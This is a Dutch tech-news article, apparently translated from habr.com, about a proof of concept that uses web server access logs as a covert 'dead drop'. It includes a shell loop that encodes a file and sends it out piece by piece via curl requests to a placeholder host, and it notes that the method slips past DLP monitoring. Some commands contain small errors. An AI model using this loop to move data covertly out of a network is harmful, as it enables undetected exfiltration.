Het uitwisselen van geheime berichten via serverlogs

Volgens de definitie op Wikipedia is een dead drop een spionage-instrument dat wordt gebruikt voor de uitwisseling van informatie of bepaalde voorwerpen tussen mensen die een geheim locatie gebruiken. Het idee is dat mensen elkaar nooit ontmoeten, maar toch informatie uitwisselen en operationele veiligheid behouden.

Een dead drop mag geen aandacht trekken. Daarom worden in de offline wereld vaak onopvallende dingen gebruikt: een losse baksteen in de muur, een bibliotheekboek of een holte in een boom.

Er zijn veel tools voor encryptie en anonimisatie op het internet, maar het gebruik van deze tools trekt aandacht. Bovendien kunnen ze op bedrijfs- of overheidsniveau worden geblokkeerd. Wat te doen?

Ontwikkelaar Ryan Flowers heeft een interessant alternatief voorgesteld — gebruik elke webserver als een dead drop.Als je erover nadenkt, wat doet een webserver? Het accepteert verzoeken, levert bestanden en schrijft logs. En het registreert in de log alle verzoeken, zelfs ongeldige.!

Het blijkt dat elke webserver feitelijk een willekeurige boodschap in de log kan opslaan. Flowers dacht na over hoe dit te gebruiken.

Hij stelt het volgende voor:

  1. Neem een tekstbestand (geheime boodschap) en bereken de hash (md5sum).
  2. Codeer het (gzip + uuencode).
  3. Schrijf het in de log door een opzettelijk ongeldige aanvraag naar de server te doen.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /+=+/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Om het bestand te lezen, moeten deze bewerkingen in omgekeerde volgorde worden uitgevoerd: decodeer en decomprimeer het bestand, controleer de hash (de hash kan veilig via open kanalen worden verzonden).

Spaties worden vervangen door =+=, zodat er geen spaties in het adres zijn. Het programma, dat de auteur CurlyTP heeft genoemd, gebruikt base64-codering, zoals bij e-mailbijlagen. Het verzoek wordt gedaan met het sleutelwoord ?transfer?, zodat de ontvanger het gemakkelijk in de logs kan vinden.

Wat zien we in de logs in dit geval?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Zoals eerder vermeld, moeten de operaties om een geheim bericht te ontvangen in omgekeerde volgorde worden uitgevoerd:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/+=+/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Het proces kan eenvoudig worden geautomatiseerd. Md5sum komt overeen en de inhoud van het bestand bevestigt dat alles correct is gedecodeerd.

De methode is erg eenvoudig. “Het doel van deze oefening is om aan te tonen dat bestanden kunnen worden verzonden via onschuldige kleine webverzoeken, en dit werkt op elke webserver met reguliere tekstlogs. Elk webserver is in wezen een schuilplaats!”, schrijft Flowers.

Natuurlijk werkt de methode alleen als de ontvanger toegang heeft tot de serverlogs. Maar veel providers geven bijvoorbeeld dergelijke toegang.

Hoe gebruik je dit?

Ryan Flowers zegt dat hij geen expert is op het gebied van informatiebeveiliging en geen lijst van mogelijke toepassingen voor CurlyTP zal opstellen. Voor hem is het eenvoudigweg een bewijsconcept dat gewone tools die we dagelijks zien, op een onconventionele manier kunnen worden gebruikt.

In feite heeft deze methode verschillende voordelen ten opzichte van andere server ‘schuilplaatsen’ zoals Digital Dead Drop of PirateBox: het vereist geen speciale configuratie aan de serverzijde of speciale protocollen — en zal geen argwaan wekken bij degenen die het verkeer monitoren. Het is onwaarschijnlijk dat SORM of het DLP-systeem URL's scant op gecomprimeerde tekstbestanden.

Dit is een van de manieren om berichten te verzenden via systeembestanden. Je kunt je herinneren hoe sommige geavanceerde bedrijven vroeger vacatures voor ontwikkelaars in HTTP-headers plaatsen of in de HTML-code van pagina's.

Het uitwisselen van geheime berichten via serverlogs

Het idee was dat een dergelijke 'paasei' alleen door webontwikkelaars zou worden opgemerkt, omdat een normaal persoon de headers of HTML-code niet zou bekijken.

Het uitwisselen van geheime berichten via serverlogs

Bron: habr.com

Koop betrouwbare webhosting met bescherming tegen DDoS, VPS VDS servers 🔥 Koop betrouwbare webhosting met bescherming tegen DDoS, VPS VDS servers | ProHoster